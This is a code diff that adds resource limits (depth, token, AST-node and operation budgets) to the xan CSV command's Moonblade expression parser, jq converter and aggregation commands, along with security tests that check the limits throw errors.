  * Grammar based on xan's grammar.pest
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { RuntimeCommandContext } from "../../types.js";
 import {
   type Token,
   Tokenizer,
   type TokenType,
 } from "./moonblade-tokenizer.js";
 
+export interface MoonbladeLimits {
+  maxSourceLength?: number;
+  maxTokens?: number;
+  maxDepth?: number;
+  maxOperations?: number;
+  maxAstNodes?: number;
+}
+
+export function getMoonbladeLimits(
+  ctx: RuntimeCommandContext,
+): MoonbladeLimits {
+  return {
+    maxSourceLength: ctx.limits.maxStringLength,
+    maxTokens: ctx.limits.maxQueryTokens,
+    maxAstNodes: ctx.limits.maxQueryElements,
+    maxOperations: ctx.limits.maxJqIterations,
+    maxDepth: ctx.limits.maxQueryDepth,
+  };
+}
+
 export type MoonbladeExpr =
   | { type: "int"; value: number }
   | { type: "float"; value: number }
@@ -62,9 +84,34 @@ const PREC = {
 class Parser {
   private pos = 0;
   private tokens: Token[];
+  private depth = 0;
+  private operations = 0;
+  private astNodes = 0;
+  private readonly limits: Required<MoonbladeLimits>;
 
-  constructor(tokens: Token[]) {
+  constructor(tokens: Token[], limits: MoonbladeLimits = {}) {
     this.tokens = tokens;
+    this.limits = {
+      maxSourceLength: limits.maxSourceLength ?? 1024 * 1024,
+      maxTokens: limits.maxTokens ?? 100_000,
+      maxDepth: limits.maxDepth ?? 100,
+      maxOperations: limits.maxOperations ?? 100_000,
+      maxAstNodes: limits.maxAstNodes ?? 100_000,
+    };
+    let delimiterDepth = 0;
+    for (const token of tokens) {
+      this.useOperation();
+      if (token.type === "(" || token.type === "[" || token.type === "{") {
+        delimiterDepth++;
+        if (delimiterDepth > this.limits.maxDepth) this.throwDepthLimit();
+      } else if (
+        token.type === ")" ||
+        token.type === "]" ||
+        token.type === "}"
+      ) {
+        delimiterDepth = Math.max(0, delimiterDepth - 1);
+      }
+    }
   }
 
   parse(): MoonbladeExpr {
@@ -76,6 +123,10 @@ class Parser {
   }
 
   parseExpr(minPrec: number): MoonbladeExpr {
+    return this.withDepth(() => this.parseExprInner(minPrec));
+  }
+
+  private parseExprInner(minPrec: number): MoonbladeExpr {
     let left = this.parsePrefix();
 
     while (true) {
@@ -89,6 +140,43 @@ class Parser {
     return left;
   }
 
+  private useOperation(count = 1): void {
+    if (count > this.limits.maxOperations - this.operations) {
+      throw new ExecutionLimitError(
+        `xan: expression parser operation limit exceeded (${this.limits.maxOperations})`,
+        "iterations",
+      );
+    }
+    this.operations += count;
+  }
+
+  private withDepth<T>(operation: () => T): T {
+    if (this.depth >= this.limits.maxDepth) this.throwDepthLimit();
+    this.depth++;
+    try {
+      return operation();
+    } finally {
+      this.depth--;
+    }
+  }
+
+  private throwDepthLimit(): never {
+    throw new ExecutionLimitError(
+      `xan: expression parser depth limit exceeded (${this.limits.maxDepth})`,
+      "recursion",
+    );
+  }
+
+  private addAstNode(): void {
+    if (this.astNodes >= this.limits.maxAstNodes) {
+      throw new ExecutionLimitError(
+        `xan: expression AST node limit exceeded (${this.limits.maxAstNodes})`,
+        "array_elements",
+      );
+    }
+    this.astNodes++;
+  }
+
   private parsePrefix(): MoonbladeExpr {
     const token = this.peek();
 
@@ -563,32 +651,43 @@ class Parser {
   }
 
   private countUnderscores(expr: MoonbladeExpr): number {
-    if (expr.type === "underscore") return 1;
-    if (expr.type === "func") {
-      return expr.args.reduce(
-        (sum, arg) => sum + this.countUnderscores(arg.expr),
-        0,
-      );
-    }
-    if (expr.type === "list") {
-      return expr.elements.reduce(
-        (sum, el) => sum + this.countUnderscores(el),
-        0,
-      );
-    }
-    if (expr.type === "map") {
-      return expr.entries.reduce(
-        (sum, e) => sum + this.countUnderscores(e.value),
-        0,
-      );
+    const pending: MoonbladeExpr[] = [expr];
+    let count = 0;
+    while (pending.length > 0) {
+      this.useOperation();
+      const current = pending.pop();
+      if (!current) break;
+      if (current.type === "underscore") {
+        count++;
+      } else if (current.type === "func") {
+        for (const arg of current.args) pending.push(arg.expr);
+      } else if (current.type === "list") {
+        pending.push(...current.elements);
+      } else if (current.type === "map") {
+        for (const entry of current.entries) pending.push(entry.value);
+      }
+      if (pending.length > this.limits.maxAstNodes) {
+        throw new ExecutionLimitError(
+          `xan: expression AST node limit exceeded (${this.limits.maxAstNodes})`,
+          "array_elements",
+        );
+      }
     }
-    return 0;
+    return count;
   }
 
   private fillUnderscore(
     expr: MoonbladeExpr,
     fill: MoonbladeExpr,
   ): MoonbladeExpr {
+    return this.withDepth(() => this.fillUnderscoreInner(expr, fill));
+  }
+
+  private fillUnderscoreInner(
+    expr: MoonbladeExpr,
+    fill: MoonbladeExpr,
+  ): MoonbladeExpr {
+    this.useOperation();
     if (expr.type === "underscore") return fill;
     if (expr.type === "func") {
       return {
@@ -631,6 +730,14 @@ class Parser {
     expr: MoonbladeExpr,
     names: string[],
   ): MoonbladeExpr {
+    return this.withDepth(() => this.bindLambdaArgsInExprInner(expr, names));
+  }
+
+  private bindLambdaArgsInExprInner(
+    expr: MoonbladeExpr,
+    names: string[],
+  ): MoonbladeExpr {
+    this.useOperation();
     if (expr.type === "identifier" && names.includes(expr.name)) {
       return { type: "lambdaBinding", name: expr.name };
     }
@@ -722,6 +829,8 @@ class Parser {
   }
 
   private advance(): Token {
+    this.useOperation();
+    this.addAstNode();
     return this.tokens[this.pos++];
   }
 
@@ -737,9 +846,15 @@ class Parser {
 /**
  * Parse named expressions like: "expr1, expr2 as name, expr3 as (a, b)"
  */
-export function parseNamedExpressions(input: string): NamedExpr[] {
+export function parseNamedExpressions(
+  input: string,
+  limits: MoonbladeLimits = {},
+): NamedExpr[] {
   const results: NamedExpr[] = [];
-  const tokenizer = new Tokenizer(input);
+  const tokenizer = new Tokenizer(input, {
+    maxSourceLength: limits.maxSourceLength,
+    maxTokens: limits.maxTokens,
+  });
   const tokens = tokenizer.tokenize();
 
   let pos = 0;
@@ -775,7 +890,7 @@ export function parseNamedExpressions(input: string): NamedExpr[] {
     }
 
     exprTokens.push({ type: "eof", value: "", pos: 0 });
-    const parser = new Parser(exprTokens);
+    const parser = new Parser(exprTokens, limits);
     const expr = parser.parse();
 
     // Check for "as"
@@ -792,9 +907,16 @@ export function parseNamedExpressions(input: string): NamedExpr[] {
             names.push(peek().value);
             advance();
           }
-          if (peek().type === ",") advance();
+          if (peek().type === ",") {
+            advance();
+          } else if (peek().type !== ")" && peek().type !== "eof") {
+            throw new Error(`Expected tuple alias, got ${peek().type}`);
+          }
         }
-        if (peek().type === ")") advance();
+        if (peek().type !== ")") {
+          throw new Error("Expected ')' after tuple alias");
+        }
+        advance();
         name = names;
       } else if (peek().type === "ident" || peek().type === "string") {
         name = peek().value;
@@ -822,9 +944,15 @@ export function parseNamedExpressions(input: string): NamedExpr[] {
 /**
  * Parse a moonblade expression string into AST
  */
-export function parseMoonblade(input: string): MoonbladeExpr {
-  const tokenizer = new Tokenizer(input);
+export function parseMoonblade(
+  input: string,
+  limits: MoonbladeLimits = {},
+): MoonbladeExpr {
+  const tokenizer = new Tokenizer(input, {
+    maxSourceLength: limits.maxSourceLength,
+    maxTokens: limits.maxTokens,
+  });
   const tokens = tokenizer.tokenize();
-  const parser = new Parser(tokens);
+  const parser = new Parser(tokens, limits);
   return parser.parse();
 }
diff --git a/packages/just-bash/src/commands/xan/moonblade-to-jq.ts b/packages/just-bash/src/commands/xan/moonblade-to-jq.ts
index cfbbb932..8472b2bf 100644
--- a/packages/just-bash/src/commands/xan/moonblade-to-jq.ts
+++ b/packages/just-bash/src/commands/xan/moonblade-to-jq.ts
@@ -5,9 +5,10 @@
  * to jq AST for evaluation by the shared query engine.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import type { AstNode } from "../query-engine/parser.js";
 import { nullPrototype } from "../query-engine/safe-object.js";
-import type { MoonbladeExpr } from "./moonblade-parser.js";
+import type { MoonbladeExpr, MoonbladeLimits } from "./moonblade-parser.js";
 
 /**
  * Helper to create pipe-based function call for single arg functions.
@@ -235,20 +236,18 @@ const FUNCTION_MAP: Record<string, string | ((args: AstNode[]) => AstNode)> = {
   coalesce: (args) => {
     if (args.length === 0) return { type: "Literal", value: null };
     if (args.length === 1) return args[0];
-    // Implement as: if (args[0] != null and args[0] != "") then args[0] else coalesce(rest)
-    const [first, ...rest] = args;
-    const condition = makeBinaryOp(
-      "and",
-      makeBinaryOp("!=", first, { type: "Literal", value: null }),
-      makeBinaryOp("!=", first, { type: "Literal", value: "" }),
-    );
-    return makeCond(
-      condition,
-      first,
-      rest.length === 1
-        ? rest[0]
-        : (FUNCTION_MAP.coalesce as (args: AstNode[]) => AstNode)(rest),
-    );
+    // Build right-to-left without recursive tail slicing.
+    let result = args[args.length - 1];
+    for (let i = args.length - 2; i >= 0; i--) {
+      const current = args[i];
+      const condition = makeBinaryOp(
+        "and",
+        makeBinaryOp("!=", current, { type: "Literal", value: null }),
+        makeBinaryOp("!=", current, { type: "Literal", value: "" }),
+      );
+      result = makeCond(condition, current, result);
+    }
+    return result;
   },
 
   // Index function for xan - access the _row_index field
@@ -323,7 +322,53 @@ function makePipeTostring(node: AstNode): AstNode {
 /**
  * Transform moonblade AST to jq AST
  */
-export function moonbladeToJq(expr: MoonbladeExpr, rowContext = true): AstNode {
+export function moonbladeToJq(
+  expr: MoonbladeExpr,
+  rowContext = true,
+  limits: MoonbladeLimits = {},
+): AstNode {
+  const budget = {
+    nodes: 0,
+    operations: 0,
+    maxNodes: limits.maxAstNodes ?? 100_000,
+    maxOperations: limits.maxOperations ?? 100_000,
+    maxDepth: limits.maxDepth ?? 100,
+  };
+  return convertMoonblade(expr, rowContext, budget, 0);
+}
+
+function convertMoonblade(
+  expr: MoonbladeExpr,
+  rowContext: boolean,
+  budget: {
+    nodes: number;
+    operations: number;
+    maxNodes: number;
+    maxOperations: number;
+    maxDepth: number;
+  },
+  depth: number,
+): AstNode {
+  if (depth >= budget.maxDepth) {
+    throw new ExecutionLimitError(
+      `xan: expression conversion depth limit exceeded (${budget.maxDepth})`,
+      "recursion",
+    );
+  }
+  if (++budget.nodes > budget.maxNodes) {
+    throw new ExecutionLimitError(
+      `xan: expression conversion AST limit exceeded (${budget.maxNodes})`,
+      "array_elements",
+    );
+  }
+  if (++budget.operations > budget.maxOperations) {
+    throw new ExecutionLimitError(
+      `xan: expression conversion operation limit exceeded (${budget.maxOperations})`,
+      "iterations",
+    );
+  }
+  const convert = (child: MoonbladeExpr): AstNode =>
+    convertMoonblade(child, rowContext, budget, depth + 1);
   switch (expr.type) {
     case "int":
     case "float":
@@ -359,7 +404,30 @@ export function moonbladeToJq(expr: MoonbladeExpr, rowContext = true): AstNode {
       return { type: "VarRef", name: expr.name };
 
     case "func": {
-      const args = expr.args.map((a) => moonbladeToJq(a.expr, rowContext));
+      if (expr.args.length > budget.maxNodes - budget.nodes) {
+        throw new ExecutionLimitError(
+          `xan: expression conversion AST limit exceeded (${budget.maxNodes})`,
+          "array_elements",
+        );
+      }
+      const args = expr.args.map((a) => convert(a.expr));
+      if (expr.name === "coalesce") {
+        const syntheticNodes = Math.max(0, args.length - 1) * 7;
+        if (syntheticNodes > budget.maxNodes - budget.nodes) {
+          throw new ExecutionLimitError(
+            `xan: expression conversion AST limit exceeded (${budget.maxNodes})`,
+            "array_elements",
+          );
+        }
+        budget.nodes += syntheticNodes;
+        budget.operations += args.length;
+        if (budget.operations > budget.maxOperations) {
+          throw new ExecutionLimitError(
+            `xan: expression conversion operation limit exceeded (${budget.maxOperations})`,
+            "iterations",
+          );
+        }
+      }
       // Use Object.hasOwn to prevent prototype pollution
       const handler = Object.hasOwn(FUNCTION_MAP, expr.name)
         ? FUNCTION_MAP[expr.name]
@@ -385,7 +453,7 @@ export function moonbladeToJq(expr: MoonbladeExpr, rowContext = true): AstNode {
         type: "Array",
         elements: expr.elements.reduce(
           (acc, el, i) => {
-            const node = moonbladeToJq(el, rowContext);
+            const node = convert(el);
             if (i === 0) return node;
             return { type: "Comma", left: acc, right: node };
           },
@@ -398,7 +466,7 @@ export function moonbladeToJq(expr: MoonbladeExpr, rowContext = true): AstNode {
         type: "Object",
         entries: expr.entries.map((e) => ({
           key: e.key,
-          value: moonbladeToJq(e.value, rowContext),
+          value: convert(e.value),
         })),
       };
 
@@ -410,14 +478,14 @@ export function moonbladeToJq(expr: MoonbladeExpr, rowContext = true): AstNode {
     case "slice":
       return {
         type: "Slice",
-        start: expr.start ? moonbladeToJq(expr.start, rowContext) : undefined,
-        end: expr.end ? moonbladeToJq(expr.end, rowContext) : undefined,
+        start: expr.start ? convert(expr.start) : undefined,
+        end: expr.end ? convert(expr.end) : undefined,
       };
 
     case "lambda":
       // Transform lambda to jq's "as" binding
       // For now, just transform the body
-      return moonbladeToJq(expr.body, rowContext);
+      return convert(expr.body);
 
     case "pipeline":
       // Multiple underscores - need special handling
diff --git a/packages/just-bash/src/commands/xan/moonblade-tokenizer.ts b/packages/just-bash/src/commands/xan/moonblade-tokenizer.ts
index f363904d..31047b76 100644
--- a/packages/just-bash/src/commands/xan/moonblade-tokenizer.ts
+++ b/packages/just-bash/src/commands/xan/moonblade-tokenizer.ts
@@ -2,6 +2,8 @@
  * Moonblade expression tokenizer
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
 export type TokenType =
   | "int"
   | "float"
@@ -61,26 +63,57 @@ export interface Token {
   pos: number;
 }
 
+export interface TokenizerLimits {
+  maxSourceLength?: number;
+  maxTokens?: number;
+}
+
 export class Tokenizer {
   private pos = 0;
   private tokens: Token[] = [];
 
-  constructor(private input: string) {}
+  private readonly maxSourceLength: number;
+  private readonly maxTokens: number;
+
+  constructor(
+    private input: string,
+    limits: TokenizerLimits = {},
+  ) {
+    this.maxSourceLength = limits.maxSourceLength ?? 1024 * 1024;
+    this.maxTokens = limits.maxTokens ?? 100_000;
+  }
 
   tokenize(): Token[] {
+    if (this.input.length > this.maxSourceLength) {
+      throw new ExecutionLimitError(
+        `xan: expression length limit exceeded (${this.maxSourceLength})`,
+        "string_length",
+      );
+    }
     while (this.pos < this.input.length) {
       this.skipWhitespace();
       if (this.pos >= this.input.length) break;
 
       const token = this.nextToken();
       if (token) {
+        this.assertTokenCapacity();
         this.tokens.push(token);
       }
     }
+    this.assertTokenCapacity();
     this.tokens.push({ type: "eof", value: "", pos: this.pos });
     return this.tokens;
   }
 
+  private assertTokenCapacity(): void {
+    if (this.tokens.length >= this.maxTokens) {
+      throw new ExecutionLimitError(
+        `xan: expression token limit exceeded (${this.maxTokens})`,
+        "array_elements",
+      );
+    }
+  }
+
   private skipWhitespace(): void {
     while (this.pos < this.input.length) {
       const ch = this.input[this.pos];
diff --git a/packages/just-bash/src/commands/xan/resource-limits.security.test.ts b/packages/just-bash/src/commands/xan/resource-limits.security.test.ts
new file mode 100644
index 00000000..fddb0839
--- /dev/null
+++ b/packages/just-bash/src/commands/xan/resource-limits.security.test.ts
@@ -0,0 +1,91 @@
+import { describe, expect, it } from "vitest";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { computeAgg } from "./aggregation.js";
+import { parseCsv } from "./csv.js";
+import { parseMoonblade, parseNamedExpressions } from "./moonblade-parser.js";
+import { moonbladeToJq } from "./moonblade-to-jq.js";
+
+describe("xan parser and data resource limits", () => {
+  it("rejects malformed tuple aliases instead of looping", () => {
+    expect(() => parseNamedExpressions("x as (name;)")).toThrowError(
+      "Expected tuple alias, got ;",
+    );
+  });
+
+  it("bounds Moonblade nesting before recursive parsing", () => {
+    const expression = `${"(".repeat(9)}x${")".repeat(9)}`;
+
+    expect(() => parseMoonblade(expression, { maxDepth: 8 })).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("bounds Moonblade tokens prospectively", () => {
+    expect(() =>
+      parseMoonblade("a + b + c + d", { maxTokens: 6 }),
+    ).toThrowError(/expression token limit exceeded/);
+  });
+
+  it("bounds recursive Moonblade-to-jq conversion", () => {
+    const ast = parseMoonblade("a + b + c + d + e + f");
+
+    expect(() => moonbladeToJq(ast, true, { maxDepth: 4 })).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("bounds wide coalesce expansion before constructing its jq AST", () => {
+    const ast = parseMoonblade("coalesce(a, b, c, d, e)");
+
+    expect(() => moonbladeToJq(ast, true, { maxAstNodes: 20 })).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("bounds CSV input before parsing", () => {
+    expect(() => parseCsv("a\n12345\n", { maxStringLength: 4 })).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("bounds aggregate CSV cells independently from rows", () => {
+    expect(() =>
+      parseCsv("a,b\n1,2\n3,4\n", { maxRows: 10, maxCells: 3 }),
+    ).toThrowError(/CSV cell limit exceeded/);
+  });
+
+  it("does not mistake wide rows for the row-count limit", () => {
+    const parsed = parseCsv("a,b,c,d\n1,2,3,4\n", {
+      maxRows: 1,
+      maxCells: 4,
+    });
+
+    expect(parsed.data).toHaveLength(1);
+  });
+
+  it("bounds aggregation string materialization prospectively", () => {
+    const data = [{ value: "aaaa" }, { value: "bbbb" }];
+
+    expect(() =>
+      computeAgg(
+        data,
+        { func: "values", expr: "value", alias: "values" },
+        {},
+        { maxStringLength: 8 },
+      ),
+    ).toThrowError(/aggregation string limit exceeded/);
+  });
+
+  it("computes large min/max inputs without spreading function arguments", () => {
+    const data = Array.from({ length: 20_000 }, (_, value) => ({ value }));
+
+    expect(
+      computeAgg(
+        data,
+        { func: "max", expr: "value", alias: "max" },
+        {},
+        { maxArrayElements: 20_000, maxIterations: 20_000 },
+      ),
+    ).toBe(19_999);
+  });
+});
diff --git a/packages/just-bash/src/commands/xan/xan-agg.ts b/packages/just-bash/src/commands/xan/xan-agg.ts
index 4ebf004c..ab45a7c3 100644
--- a/packages/just-bash/src/commands/xan/xan-agg.ts
+++ b/packages/just-bash/src/commands/xan/xan-agg.ts
@@ -2,21 +2,50 @@
  * Aggregation commands: agg, groupby, frequency, stats
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import type { EvaluateOptions } from "../query-engine/index.js";
-import { buildAggRow, computeAgg, parseAggExpr } from "./aggregation.js";
+import {
+  type AggregationLimits,
+  buildAggRow,
+  computeAgg,
+  estimateSortingWork,
+  parseAggExpr,
+} from "./aggregation.js";
 import {
   type CsvData,
   type CsvRow,
   createSafeRow,
+  DerivedCsvBudget,
   formatCsv,
   readCsvInput,
   safeSetRow,
 } from "./csv.js";
 
+function getAggregationLimits(
+  ctx: RuntimeCommandContext,
+  budget: DerivedCsvBudget,
+): AggregationLimits {
+  return {
+    maxArrayElements: ctx.limits.maxArrayElements,
+    maxStringLength: ctx.limits.maxStringLength,
+    maxIterations: ctx.limits.maxJqIterations,
+    maxDepth: ctx.limits.maxQueryDepth,
+    consumeWork: (units = 1) => budget.consumeWork(units),
+  };
+}
+
+function frequencyResultCount(
+  counts: ReadonlyMap<string, number>,
+  noExtra: boolean,
+  limit: number,
+): number {
+  const available = counts.size - (noExtra && counts.has("") ? 1 : 0);
+  return limit > 0 ? Math.min(available, limit) : available;
+}
+
 export async function cmdAgg(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let expr = "";
   const fileArgs: string[] = [];
@@ -44,20 +73,26 @@ export async function cmdAgg(
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
-  const specs = parseAggExpr(expr);
+  const budget = new DerivedCsvBudget(ctx, "xan agg");
+  const aggregationLimits = getAggregationLimits(ctx, budget);
+  const specs = parseAggExpr(expr, aggregationLimits);
   const headers = specs.map((s) => s.alias);
-  const row = buildAggRow(data, specs, evalOptions);
+  budget.addRow(headers.length);
+  const row = buildAggRow(data, specs, evalOptions, aggregationLimits);
 
-  return { stdout: formatCsv(headers, [row]), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, [row], ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdGroupby(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let groupCols = "";
   let aggExpr = "";
@@ -91,19 +126,27 @@ export async function cmdGroupby(
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
   const groupKeys = groupCols.split(",");
-  const specs = parseAggExpr(aggExpr);
+  const budget = new DerivedCsvBudget(ctx, "xan groupby");
+  const aggregationLimits = getAggregationLimits(ctx, budget);
+  const specs = parseAggExpr(aggExpr, aggregationLimits);
+  const headers = [...groupKeys, ...specs.map((s) => s.alias)];
 
   // Group rows by key - use array to preserve first-seen order
   const groupOrder: string[] = [];
   const groups = new Map<string, CsvData>();
   for (const row of data) {
-    const key = groupKeys.map((k) => String(row[k])).join("\0");
+    budget.consumeWork(groupKeys.length + 1);
+    const key = JSON.stringify(groupKeys.map((k) => String(row[k])));
     if (!groups.has(key)) {
+      budget.addRow(headers.length);
       groups.set(key, []);
       groupOrder.push(key);
     }
@@ -111,7 +154,6 @@ export async function cmdGroupby(
   }
 
   // Compute aggregates for each group
-  const headers = [...groupKeys, ...specs.map((s) => s.alias)];
   const results: CsvData = [];
 
   for (const key of groupOrder) {
@@ -124,17 +166,21 @@ export async function cmdGroupby(
     }
     // Compute aggregates
     for (const spec of specs) {
-      safeSetRow(row, spec.alias, computeAgg(groupData, spec, evalOptions));
+      safeSetRow(
+        row,
+        spec.alias,
+        computeAgg(groupData, spec, evalOptions, aggregationLimits),
+      );
     }
     results.push(row);
   }
 
-  return { stdout: formatCsv(headers, results), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, results, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdFrequency(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let selectCols: string[] = [];
   let groupCol = "";
@@ -161,6 +207,14 @@ export async function cmdFrequency(
 
   const { headers, data, error } = await readCsvInput(fileArgs, ctx);
   if (error) return error;
+  if (!Number.isSafeInteger(limit) || limit < 0) {
+    return {
+      stdout: "",
+      stderr: "xan frequency: limit must be a non-negative safe integer\n",
+      exitCode: 1,
+    };
+  }
+  const budget = new DerivedCsvBudget(ctx, "xan frequency");
 
   // If no columns specified, use all columns except group column
   let targetCols =
@@ -180,6 +234,7 @@ export async function cmdFrequency(
     // Group by column first, then count values within each group
     const groups = new Map<string, CsvData>();
     for (const row of data) {
+      budget.consumeWork();
       const key = String(row[groupCol] ?? "");
       if (!groups.has(key)) {
         groups.set(key, []);
@@ -192,33 +247,34 @@ export async function cmdFrequency(
         // Count occurrences within group
         const counts = new Map<string, number>();
         for (const row of groupData) {
+          budget.consumeWork();
           const val = row[col];
           const key =
             val === "" || val === null || val === undefined ? "" : String(val);
           counts.set(key, (counts.get(key) || 0) + 1);
         }
 
-        // Sort by count descending
-        let entries = [...counts.entries()].sort((a, b) => {
+        budget.addRows(
+          frequencyResultCount(counts, noExtra, limit),
+          resultHeaders.length,
+        );
+        budget.consumeWork(estimateSortingWork(counts.size));
+        const entries = [...counts.entries()].sort((a, b) => {
           if (b[1] !== a[1]) return b[1] - a[1];
           return a[0].localeCompare(b[0]);
         });
 
-        if (noExtra) {
-          entries = entries.filter(([val]) => val !== "");
-        }
-
-        if (limit > 0) {
-          entries = entries.slice(0, limit);
-        }
-
+        let emitted = 0;
         for (const [val, count] of entries) {
-          results.push({
-            field: col,
-            [groupCol]: groupKey,
-            value: val === "" ? "<empty>" : val,
-            count,
-          });
+          if (noExtra && val === "") continue;
+          if (limit > 0 && emitted >= limit) break;
+          const result = createSafeRow();
+          safeSetRow(result, "field", col);
+          safeSetRow(result, groupCol, groupKey);
+          safeSetRow(result, "value", val === "" ? "<empty>" : val);
+          safeSetRow(result, "count", count);
+          results.push(result);
+          emitted++;
         }
       }
     }
@@ -227,41 +283,47 @@ export async function cmdFrequency(
     for (const col of targetCols) {
       const counts = new Map<string, number>();
       for (const row of data) {
+        budget.consumeWork();
         const val = row[col];
         const key =
           val === "" || val === null || val === undefined ? "" : String(val);
         counts.set(key, (counts.get(key) || 0) + 1);
       }
 
-      let entries = [...counts.entries()].sort((a, b) => {
+      budget.addRows(
+        frequencyResultCount(counts, noExtra, limit),
+        resultHeaders.length,
+      );
+      budget.consumeWork(estimateSortingWork(counts.size));
+      const entries = [...counts.entries()].sort((a, b) => {
         if (b[1] !== a[1]) return b[1] - a[1];
         return a[0].localeCompare(b[0]);
       });
 
-      if (noExtra) {
-        entries = entries.filter(([val]) => val !== "");
-      }
-
-      if (limit > 0) {
-        entries = entries.slice(0, limit);
-      }
-
+      let emitted = 0;
       for (const [val, count] of entries) {
-        results.push({
-          field: col,
-          value: val === "" ? "<empty>" : val,
-          count,
-        });
+        if (noExtra && val === "") continue;
+        if (limit > 0 && emitted >= limit) break;
+        const result = createSafeRow();
+        safeSetRow(result, "field", col);
+        safeSetRow(result, "value", val === "" ? "<empty>" : val);
+        safeSetRow(result, "count", count);
+        results.push(result);
+        emitted++;
       }
     }
   }
 
-  return { stdout: formatCsv(resultHeaders, results), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(resultHeaders, results, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 export async function cmdStats(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let columns: string[] = [];
   const fileArgs: string[] = [];
@@ -280,30 +342,55 @@ export async function cmdStats(
 
   const targetCols = columns.length > 0 ? columns : headers;
   const statsHeaders = ["field", "type", "count", "min", "max", "mean"];
+  const budget = new DerivedCsvBudget(ctx, "xan stats");
+  budget.addRows(targetCols.length, statsHeaders.length);
   const results: CsvData = [];
 
   for (const col of targetCols) {
-    const values = data
-      .map((r) => r[col])
-      .filter((v) => v !== null && v !== undefined);
-    const nums = values
-      .map((v) => (typeof v === "number" ? v : Number.parseFloat(String(v))))
-      .filter((n) => !Number.isNaN(n));
-
-    const isNumeric = nums.length === values.length && nums.length > 0;
-
-    results.push({
-      field: col,
-      type: isNumeric ? "Number" : "String",
-      count: values.length,
-      min: isNumeric ? Math.min(...nums) : "",
-      max: isNumeric ? Math.max(...nums) : "",
-      mean: isNumeric
-        ? Math.round((nums.reduce((a, b) => a + b, 0) / nums.length) * 1e10) /
-          1e10
-        : "",
-    });
+    let valueCount = 0;
+    let numericCount = 0;
+    let minimum = Number.POSITIVE_INFINITY;
+    let maximum = Number.NEGATIVE_INFINITY;
+    let sum = 0;
+
+    // Keep statistics single-pass. Spreading a normal-profile CSV column into
+    // Math.min/Math.max exceeds the engine's argument limit well before the
+    // configured row ceiling and duplicates the attacker-sized input twice.
+    for (const row of data) {
+      ctx.executionScope?.consumeWork(1, "xan stats rows");
+      const value = row[col];
+      if (value === null || value === undefined) continue;
+
+      valueCount++;
+      const numericValue =
+        typeof value === "number" ? value : Number.parseFloat(String(value));
+      if (Number.isNaN(numericValue)) continue;
+
+      numericCount++;
+      minimum = Math.min(minimum, numericValue);
+      maximum = Math.max(maximum, numericValue);
+      sum += numericValue;
+    }
+
+    const isNumeric = numericCount === valueCount && numericCount > 0;
+
+    const result = createSafeRow();
+    safeSetRow(result, "field", col);
+    safeSetRow(result, "type", isNumeric ? "Number" : "String");
+    safeSetRow(result, "count", valueCount);
+    safeSetRow(result, "min", isNumeric ? minimum : "");
+    safeSetRow(result, "max", isNumeric ? maximum : "");
+    safeSetRow(
+      result,
+      "mean",
+      isNumeric ? Math.round((sum / numericCount) * 1e10) / 1e10 : "",
+    );
+    results.push(result);
   }
 
-  return { stdout: formatCsv(statsHeaders, results), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(statsHeaders, results, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-columns.ts b/packages/just-bash/src/commands/xan/xan-columns.ts
index 6e4e3793..a6367988 100644
--- a/packages/just-bash/src/commands/xan/xan-columns.ts
+++ b/packages/just-bash/src/commands/xan/xan-columns.ts
@@ -2,7 +2,7 @@
  * Column operation commands: select, drop, rename, enum
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { parseColumnSpec } from "./column-selection.js";
 import {
   type CsvRow,
@@ -14,7 +14,7 @@ import {
 
 export async function cmdSelect(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // First positional arg is column spec, rest are files
   let colSpec = "";
@@ -50,12 +50,16 @@ export async function cmdSelect(
     return newRow;
   });
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 export async function cmdDrop(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // First positional arg is column spec, rest are files
   let colSpec = "";
@@ -92,12 +96,16 @@ export async function cmdDrop(
     return newRow;
   });
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 export async function cmdRename(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
